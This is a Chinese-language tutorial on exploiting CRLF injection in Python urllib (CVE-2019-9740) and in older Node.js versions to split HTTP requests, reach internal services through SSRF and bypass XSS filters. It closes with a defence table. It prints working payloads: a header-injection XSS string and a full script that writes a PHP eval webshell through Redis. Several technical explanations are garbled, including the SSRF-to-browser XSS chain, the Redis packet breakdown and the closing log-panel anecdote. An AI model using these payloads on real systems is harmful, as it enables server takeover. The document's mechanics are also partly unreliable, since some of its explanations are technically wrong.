# 实战指南:如何利用CRLF注入漏洞绕过XSS防护(附Node.js/Python案例)
在Web安全领域,绕过浏览器的XSS过滤器一直是红队和安全研究人员津津乐道的话题。传统的XSS攻击往往依赖于向HTML正文中注入恶意脚本,但随着现代浏览器内置过滤机制的日益完善,这种直接攻击的成功率正在下降。然而,有一种相对“古老”但依然有效的攻击向量,却常常被忽视——**CRLF注入**,它能够直接操纵HTTP响应头,从根本上绕过浏览器的内容安全策略。
想象一下这样的场景:你发现了一个存在SSRF(服务器端请求伪造)漏洞的Web应用,但目标服务器过滤了Gopher等危险协议,常规的SSRF利用链似乎被切断。此时,如果你注意到服务器在发起HTTP请求时使用了特定版本的Python `urllib`库(如3.7.2)或Node.js v8,一个全新的攻击面便可能就此展开。通过精心构造的CRLF(回车换行)序列,你不仅能注入任意HTTP头,甚至能“拆分”原始的HTTP请求,在服务器端构造出一个全新的、完全受你控制的请求,从而攻击内网服务,或者更关键地,**绕过浏览器的XSS过滤器,实现脚本执行**。
这篇文章将深入探讨CRLF注入漏洞的核心原理,并聚焦于两个极具代表性的实战案例:**Python urllib库的CVE-2019-9740漏洞**和**Node.js v8及以下版本的Unicode编码缺陷**。我们将抛开繁琐的理论堆砌,直接进入代码层面,通过可复现的CTF场景和真实漏洞案例,展示如何将这些漏洞转化为绕过XSS防护的利器。无论你是正在备战CTF的安全爱好者,还是负责企业渗透测试的红队成员,文中的思路和技巧都将为你打开一扇新的窗户。
## 1. CRLF注入与HTTP响应拆分:绕过XSS的底层逻辑
要理解CRLF注入如何绕过XSS,首先需要回顾一下HTTP协议的基本结构。一个标准的HTTP响应由状态行、响应头和响应体三部分组成,它们之间通过特定的分隔符界定:
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 123
(一个空行,即 \r\n\r\n)
<html>响应体内容...</html>
```
关键点在于,每个响应头以 `\r\n`(CRLF)结束,而响应头与响应体之间则通过一个额外的空行(即两个连续的CRLF:`\r\n\r\n`)分隔。浏览器正是依靠这些分隔符来正确解析服务器返回的内容。
**XSS过滤器的软肋**:现代浏览器(如Chrome、Edge)的XSS过滤器(X-XSS-Protection或现代CSP策略)主要扫描和拦截的是HTTP响应体(即HTML正文)中的可疑脚本。它们通常不会,也无法深度干预HTTP响应头的解析过程。这就留下了一个攻击通道:如果我们能控制某个会回显到响应头中的用户输入点,并注入CRLF字符,就可以提前“结束”响应头的部分,让后续我们注入的内容被浏览器当作响应体来解析。
> **提示**:这种攻击被称为HTTP响应拆分(HTTP Response Splitting, HRS)。其危害不仅限于XSS,还可用于会话固定、缓存污染等。但本文聚焦于其作为XSS绕过技术的独特价值。
一个经典的利用场景是**重定向漏洞**。许多网站使用 `Location` 头进行302跳转,例如:
```php
<?php
header("Location: " . $_GET['url']);
?>
```
如果攻击者传入 `url=https://evil.com%0d%0a%0d%0a<script>alert(1)</script>`,经过URL解码后,服务器构造的响应可能变成:
```
HTTP/1.1 302 Found
Location: https://evil.com
<script>alert(1)</script>
```
浏览器在解析时,遇到 `Location` 行后的 `\r\n\r\n`,会认为响应头已经结束,接下来的 `<script>` 标签便被当作响应体解析和执行——即使原URL参数本身经过了严格的HTML实体编码,也无法阻止这次攻击,因为恶意脚本是“夹带”在HTTP协议层,而非应用层。
然而,这种基于 `Location` 头的简单CRLF注入在现代Web框架中已较少见,因为多数开发库会自动过滤换行符。真正的挑战和机会,出现在一些底层网络库的解析异常中。
## 2. Python urllib的CRLF注入(CVE-2019-9740)实战
Python的 `urllib` 和 `urllib2` 库是发起HTTP请求的常用工具。在2019年爆出的CVE-2019-9740漏洞影响深远,波及Python 2.x至2.7.16以及Python 3.x至3.7.2版本。漏洞根源在于 `urlopen()` 函数在处理URL时,未能正确验证和过滤换行符,允许攻击者将CRLF注入到HTTP请求的状态行中。
### 2.1 漏洞原理与基础利用
在受影响的版本中,如果你构造一个包含 `%0d%0a`(CRLF的URL编码)的URL,`urllib` 会将其原样放入发出的HTTP请求里。考虑以下代码:
```python
import urllib.request
url = "http://victim.com/?a=1 HTTP/1.1\r\nX-Injected-Header: test\r\nHost: victim.com"
response = urllib.request.urlopen(url)
```
实际上发出的请求数据包会是:
```
GET /?a=1 HTTP/1.1
X-Injected-Header: test
Host: victim.com HTTP/1.1
Host: victim.com
...(其他默认头部)
```
注意,第一个 `HTTP/1.1` 之后被我们注入的CRLF截断,我们成功插入了一个自定义的 `X-Injected-Header`。虽然这个畸形的请求可能被服务端拒绝,但它证明了注入能力。
### 2.2 构造完整请求绕过SSRF限制
在SSRF场景中,这个漏洞的威力才真正显现。假设我们有一个SSRF点,但服务端禁用了Gopher协议,我们只能发起HTTP请求。目标内网有一个Redis服务(6379端口),我们想通过SSRF攻击它。常规的HTTP协议无法直接传输Redis的纯文本协议,但通过CRLF注入,我们可以“伪造”一个符合Redis协议格式的TCP流。
**攻击思路**:利用CRLF注入,在第一个HTTP请求的路径中“夹带”第二个完整的HTTP请求(甚至是任意TCP流)。由于Redis协议是简单的行协议,每条命令以 `\r\n` 结尾,这与HTTP头部格式巧合地相似。我们可以构造一个特殊的URL,让服务端的 `urllib` 在请求路径中发出包含Redis命令的字节流。
以下是攻击Redis写入Webshell的Python脚本示例:
```python
import urllib.parse
# 要执行的Redis命令
redis_commands = """flushall
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php eval($_POST['cmd']);?>"
save
"""
# 构造CRLF注入Payload
# 注意:需要在开头添加一个空格和 HTTP/1.1 来闭合原始请求的状态行
payload = """ HTTP/1.1\r\n\r\n""" + redis_commands.replace("\n", "\r\n") + """\r\ntest:"""
payload_encoded = urllib.parse.quote(payload, safe='')
# 最终的SSRF URL
ssrf_url = f"http://127.0.0.1:6379/{payload_encoded}"
print(f"[*] 构造的SSRF Payload: {ssrf_url}")
# 在实际攻击中,将这个URL提交给存在SSRF漏洞的参数
```
当存在漏洞的 `urllib` 请求这个URL时,发出的网络包可能被解析为:
1. 原始请求行的一部分:`GET / HTTP/1.1`
2. 我们注入的CRLF结束了第一行,并开始一个新的“请求行”:` HTTP/1.1`
3. 两个CRLF(`\r\n\r\n`)表示头部结束,后面跟着的 `flushall\r\n...` 被作为“请求体”发送。
4. 由于连接的是Redis端口,Redis服务会将这些行解析为合法的命令并执行。
### 2.3 与XSS绕过的结合点
你可能会问,这跟XSS有什么关系?关键在于,**这种CRLF注入能力可以用于“投递”一个会导致XSS的HTTP响应**。
假设我们攻击的不是Redis,而是一个能够反射我们部分输入到响应头的内部管理界面。我们可以尝试注入一个包含 `X-XSS-Protection: 0` 头部的响应,从而关闭目标用户浏览器的XSS过滤器,然后再注入恶意脚本。
但在更复杂的场景下,例如在CTF题目 `[2020 祥云杯]doyouknowssrf` 中,选手需要利用这个漏洞,通过一层SSRF去攻击内网另一个存在CRLF漏洞的服务,形成链式攻击,最终实现文件上传或信息窃取。这要求攻击者对HTTP协议有深刻的理解,并能够精确构造字节流。
## 3. Node.js Unicode编码导致的CRLF注入(Node.js < v10)
如果说Python的漏洞是“疏忽”,那么Node.js的这个缺陷则更像是一个“特性”与安全的冲突。在Node.js v8及更早版本中,`http.get` 等模块在处理请求路径时,默认使用 `latin1` 编码将Unicode字符串转换为字节。`latin1` 是一种单字节编码,无法正确表示高位Unicode字符(如 `\u010d`),会导致信息丢失。
### 3.1 漏洞核心:Unicode截断
关键发现是:当高位Unicode字符(如 `\u010d`,对应字符 `č`)用 `latin1` 编码时,会被截断为低字节 `0x0d`,而这正是回车符 `\r` 的ASCII码!同理,`\u010a`(`Ċ`)会被截断为 `0x0a`(`\n`)。
```javascript
// Node.js v8 交互示例
> Buffer.from('\u010d\u010a', 'latin1').toString()
'\r\n'
```
Node.js的HTTP库本有防御机制,会主动对路径中的控制字符(如 `\r`、`\n`)进行URL编码(变为 `%0D%0A`)。但Unicode字符 `\u010d` 本身不是控制字符,不会被编码。然而,当它被底层转换为字节时,却“变”成了控制字符,从而绕过了保护。
### 3.2 利用链构造:从SSRF到XSS
这个漏洞的利用通常出现在SSRF场景中,并且需要目标应用将用户输入(包含我们精心挑选的Unicode字符)直接拼接到HTTP请求的路径中。
**步骤一:探测与确认**
首先,我们需要识别目标是否使用了存在漏洞的Node.js版本并发起SSRF请求。一个标志是查看其发出的HTTP请求的 `User-Agent`,如果包含 `Node.js` 或特定版本信息,则可以怀疑。
**步骤二:构造Unicode CRLF Payload**
我们需要将想要注入的CRLF序列替换成对应的高位Unicode字符。例如,注入一个自定义头 `X-Malicious: true`:
```javascript
// 原始目标:注入 \r\nX-Malicious: true\r\n
// 将 \r 替换为 \u010d,将 \n 替换为 \u010a,空格替换为 \u0120
const payload = '\u0120X-Malicious:\u0120true\u010d\u010a';
const maliciousURL = `http://internal-service/${payload}`;
// 通过SSRF请求 maliciousURL
```
**步骤三:实现HTTP请求拆分(HRS)**
要注入一个完整的、会导致XSS的第二个HTTP响应,构造更为复杂。我们需要闭合第一个请求的状态行,注入完整的第二个响应头和响应体,然后再闭合以避免语法错误。
以下是一个概念性的Payload结构:
```
[一个空格]\u0120HTTP/1.1\u010d\u010a
\u010d\u010a
HTTP/1.1 200 OK\u010d\u010a
Content-Type: text/html\u010d\u010a
X-XSS-Protection: 0\u010d\u010a
\u010d\u010a
<script>alert(document.domain)</script>\u010d\u010a
\u010d\u010a
GET / HTTP/1.1\u010d\u010a
test:
```
这个Payload经过Unicode编码后,通过SSRF发送。Node.js在发出请求时,Unicode字符被截断为CRLF和空格,最终在网络上形成两个HTTP请求/响应的拼接,导致第二个响应中的XSS脚本被执行。
### 3.3 真实CTF案例剖析:GYCTF2020 Node Game
在这个CTF题目中,提供了一个Node.js Express应用。核心漏洞点在于 `/core` 路由,它接收参数 `q`,拼接到内网请求的URL中:
```javascript
var url = 'http://localhost:8081/source?' + q;
http.get(url, function(resp) { ... });
```
利用方式如下:
1. 题目存在文件上传功能,但限制只能由 `127.0.0.1` 访问。
2. 通过 `/core` 路由的SSRF,利用Node.js的Unicode CRLF漏洞,构造一个特殊的 `q` 参数。
3. 该参数实际包含一个编码后的、完整的HTTP POST请求(文件上传请求),指向本地的 `/file_upload` 接口。
4. SSRF触发后,Node.js会向 `localhost:8081` 发出一个“畸形”请求,该请求被服务器解析后,会拆分成两个请求:一个是对 `/source` 的请求,另一个则是我们注入的文件上传请求。
5. 通过控制上传文件的 `Content-Type` 为 `../template`,实现目录穿越,将恶意Pug模板文件上传到指定目录。
6. 最后访问该模板,触发服务端模板包含,读取flag。
这个案例完美展示了如何将Unicode CRLF注入、SSRF、文件上传、目录穿越串联成一条完整的攻击链,最终达到信息泄露的目的。虽然最终目标是读flag而非XSS,但技术原理完全相同——都是通过协议层的注入,欺骗服务器执行非预期的操作。
## 4. 防御策略与安全开发建议
对于开发者和安全工程师,了解攻击手段是为了更好地防御。针对CRLF注入及相关的HRS攻击,以下措施至关重要:
| 防御层面 | 具体措施 | 说明 |
| :--- | :--- | :--- |
| **输入验证与过滤** | 对所有用户输入进行严格的验证,拒绝包含 `\r` (`%0d`)、`\n` (`%0a`) 等控制字符的输入。 | 这是最根本的解决方案。在数据进入业务逻辑前就进行过滤。 |
| **编码输出** | 如果必须将用户输入放入HTTP头,务必进行编码。例如,将换行符转换为HTML实体或直接移除。 | 确保输出到HTTP头的内容是“干净”的。 |
| **使用安全库与更新** | 及时升级编程语言和库的版本。例如,将Python升级到3.7.3+,Node.js升级到v10+。 | 新版本已修复上述特定漏洞。 |
| **安全编码规范** | 避免将用户可控数据直接拼接到系统命令、文件路径、网络请求和HTTP响应头中。 | 建立代码审计制度,重点关注 `header()`、重定向、`curl`、`http.get` 等函数。 |
| **WAF/中间件防护** | 配置Web应用防火墙或反向代理规则,检测和拦截包含恶意CRLF序列的请求。 | 作为纵深防御的一环。 |
对于红队和安全研究人员而言,在渗透测试中,可以重点关注以下易产生CRLF注入的点:
- URL重定向参数(`redirect`、`url`、`next`)。
- 设置Cookie或其它自定义HTTP头的功能。
- 任何会将参数值反射到HTTP响应头中的功能。
- 存在SSRF且能观察到后端请求库User-Agent的场景。
在最近一次内部红蓝对抗中,我们就曾利用一个看似无害的“日志记录”功能,该功能将User-Agent记录到数据库并在管理面板显示。通过注入一个包含CRLF的User-Agent,我们成功在管理员的浏览器中触发了存储型XSS,仅仅因为管理面板在渲染日志时,错误地将某列数据当成了HTTP响应头来解析。这种跨层的逻辑漏洞,往往比直接的技术漏洞更难发现,也更具杀伤力。
**最后需要强调的是**,本文讨论的所有技术均应在合法授权和合规的环境中使用,例如企业内部的渗透测试、CTF竞赛或安全研究。理解这些漏洞的机理,能帮助我们构建更稳固的防御体系,这才是安全技术的终极价值所在。